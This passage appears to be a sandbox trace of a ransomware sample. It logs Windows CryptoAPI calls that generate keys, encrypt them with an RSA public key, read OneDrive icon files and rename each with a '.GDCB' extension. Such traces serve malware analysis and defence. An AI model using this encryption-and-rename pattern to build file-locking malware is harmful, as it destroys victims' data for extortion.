hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0198.521] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0198.521] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4540) returned 1 [0198.523] CryptImportKey (in: hProv=0x5c4540, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x5089df8) returned 1 [0198.523] CryptGetKeyParam (in: hKey=0x5089df8, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0198.523] CryptEncrypt (in: hKey=0x5089df8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x63a0000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x63a0000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0198.524] GetLastError () returned 0x0 [0198.524] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0198.524] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0198.526] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x5089fb8) returned 1 [0198.526] CryptGetKeyParam (in: hKey=0x5089fb8, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0198.526] CryptEncrypt (in: hKey=0x5089fb8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x63b0000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x63b0000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0198.526] GetLastError () returned 0x0 [0198.526] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0198.526] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\images\\acmDismissIcon.svg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\images\\acmdismissicon.svg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x514 [0198.528] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x67c0000 [0198.530] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x67d0000 [0198.532] ReadFile (in: hFile=0x514, lpBuffer=0x67d0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0x67d0000*, lpNumberOfBytesRead=0x285d3e8*=0x8f1, lpOverlapped=0x0) returned 1 [0198.557] VirtualAlloc (lpAddress=0x0, dwSize=0x900, flAllocationType=0x3000, flProtect=0x4) returned 0x68e0000 [0198.562] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\images\\acmDismissIcon.svg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\images\\acmdismissicon.svg"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\images\\acmDismissIcon.svg.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\images\\acmdismissicon.svg.gdcb")) returned 1 [0198.566] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4760) returned 1 [0198.567] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0198.568] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0198.569] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0198.569] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0198.569] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4760) returned 1 [0198.570] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0198.571] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0198.571] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0198.571] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0198.571] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4430) returned 1 [0198.573] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x5089e78) returned 1 [0198.573] CryptGetKeyParam (in: hKey=0x5089e78, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0198.573] CryptEncrypt (in: hKey=0x5089e78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x63a0000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x63a0000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0198.574] GetLastError () returned 0x0 [0198.574] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0198.574] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0198.575] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x5089a38) returned 1 [0198.575] CryptGetKeyParam (in: hKey=0x5089a38, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0198.575] CryptEncrypt (in: hKey=0x5089a38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x63b0000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x63b0000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0198.576] GetLastError () returned 0x0 [0198.576] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0198.576] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\images\\cloud.svg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\images\\cloud.svg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x514 [0198.577] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x67c0000 [0198.579] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x67d0000 [0198.579] ReadFile (in: hFile=0x514, lpBuffer=0x67d0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0x67d0000*, lpNumberOfBytesRead=0x285d3e8*=0x8e0, lpOverlapped=0x0) returned 1 [0198.587] VirtualAlloc (lpAddress=0x0, dwSize=0x8e0, flAllocationType=0x3000, flProtect=0x4) returned 0x68e0000 [0198.593] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\images\\cloud.svg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\images\\cloud.svg"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\images\\cloud.svg.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\images\\cloud.svg.gdcb")) returned 1 [0198.598] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4760) returned 1 [0198.600] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0198.601] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0198.601] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0198.601] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0198.601] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4980) returned 1 [0198.602] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0198.603] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0198.603] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0198.603] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0198.603] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4430) returned 1 [0198.605] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x508a038) returned 1 [0198.605] CryptGetKeyParam (in: hKey=0x508a038, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0198.605] CryptEncrypt (in: hKey=0x508a038, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x63a0000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x63a0000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0198.605] GetLastError () returned 0x0 [0198.605] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0198.605] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0198.607] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x5089d78) returned 1 [0198.607] CryptGetKeyParam (in: hKey=0x5089d78, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0198.607] CryptEncrypt (in: hKey=0x5089d78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x63b0000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x63b0000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0198.608] GetLastError () returned 0x0 [0198.608] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0198.608] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\images\\errorIcon.svg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\images\\erroricon.svg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x514 [0198.609] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x67c0000 [0198.611] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x67d0000 [0198.612] ReadFile (in: hFile=0x514, lpBuffer=0x67d0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0x67d0000*, lpNumberOfBytesRead=0x285d3e8*=0x31d, lpOverlapped=0x0) returned 1 [0198.621] VirtualAlloc (lpAddress=0x0, dwSize=0x320, flAllocationType=0x3000, flProtect=0x4) returned 0x68e0000 [0198.625] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\images\\errorIcon.svg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\images\\erroricon.svg"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\images\\errorIcon.svg.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\images\\erroricon.svg.gdcb")) returned 1 [0198.629] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0198.630] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0198.631] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0198.631] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0198.631] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0198.631] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0198.632] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0198.633] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0198.633] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0198.633] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0198.633] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4430) returned 1 [0198.635] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x5089eb8) returned 1 [0198.635] CryptGetKeyParam (in: hKey=0x5089eb8, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0198.635] CryptEncrypt (in: hKey=0x5089eb8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x63a0000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x63a0000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0198.635] GetLastError () returned 0x0 [0198.635] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0198.635] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4430) returned 1 [0198.637] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x5089c38) returned 1 [0198.637] CryptGetKeyParam (in: hKey=0x5089c38, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0198.637] CryptEncrypt (in: hKey=0x5089c38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x63b0000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x63b0000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0198.637] GetLastError () returned 0x0 [0198.637] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0198.637] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\images\\folder.svg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\images\\folder.svg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x514 [0198.639] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x67c0000 [0198.640] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x67d0000 [0198.641] ReadFile (in: hFile=0x514, lpBuffer=0x67d0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0x67d0000*, lpNumberOfBytesRead=0x285d3e8*=0x340, lpOverlapped=0x0) returned 1 [0198.648] VirtualAlloc (lpAddress=0x0, dwSize=0x340, flAllocationType=0x3000, flProtect=0x4) returned 0x68e0000 [0198.653] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\images\\folder.svg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\images\\folder.svg"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\images\\folder.svg.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\images\\folder.svg.gdcb")) returned 1 [0198.657] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4430) returned 1 [0198.658] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0198.659] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0198.659] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0198.659] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0198.659] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4430) returned 1 [0198.660] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0198.661] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0198.661] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0198.661] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0198.661] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4430) returned 1 [0198.686] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x5089c78) returned 1 [0198.686] CryptGetKeyParam (in: hKey=0x5089c78, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0198.686] CryptEncrypt (in: hKey=0x5089c78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x63a0000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x63a0000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0198.686] GetLastError () returned 0x0 [0198.686] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0198.686] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4430) returned 1 [0198.688] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x5089af8) returned 1 [0198.688] CryptGetKeyParam (in: hKey=0x5089af8, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0198.688] CryptEncrypt (in: hKey=0x5089af8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x63b0000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x63b0000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0198.688] GetLastError () returned 0x0 [0198.688] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0198.688] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\images\\iceBucket.svg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\images\\icebucket.svg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x514 [0198.690] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x67c0000 [0198.691] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x67d0000 [0198.692] ReadFile (in: hFile=0x514, lpBuffer=0x67d0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0x67d0000*, lpNumberOfBytesRead=0x285d3e8*=0x172e, lpOverlapped=0x0) returned 1 [0198.712] VirtualAlloc (lpAddress=0x0, dwSize=0x1730, flAllocationType=0x3000, flProtect=0x4) returned 0x68e0000 [0198.717] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\images\\iceBucket.svg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\images\\icebucket.svg"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\images\\iceBucket.svg.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\images\\icebucket.svg.gdcb")) returned 1 [0198.720] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0198.722] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0198.723] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0198.723] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0198.723] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0198.723] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0198.724] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0198.724] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0198.725] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0198.725] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0198.725] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4760) returned 1 [0198.727] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x5089b78) returned 1 [0198.727] CryptGetKeyParam (in: hKey=0x5089b78, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0198.727] CryptEncrypt (in: hKey=0x5089b78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x63a0000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x63a0000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0198.728] GetLastError () returned 0x0 [0198.728] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0198.728] CryptAcquireContextW (in: 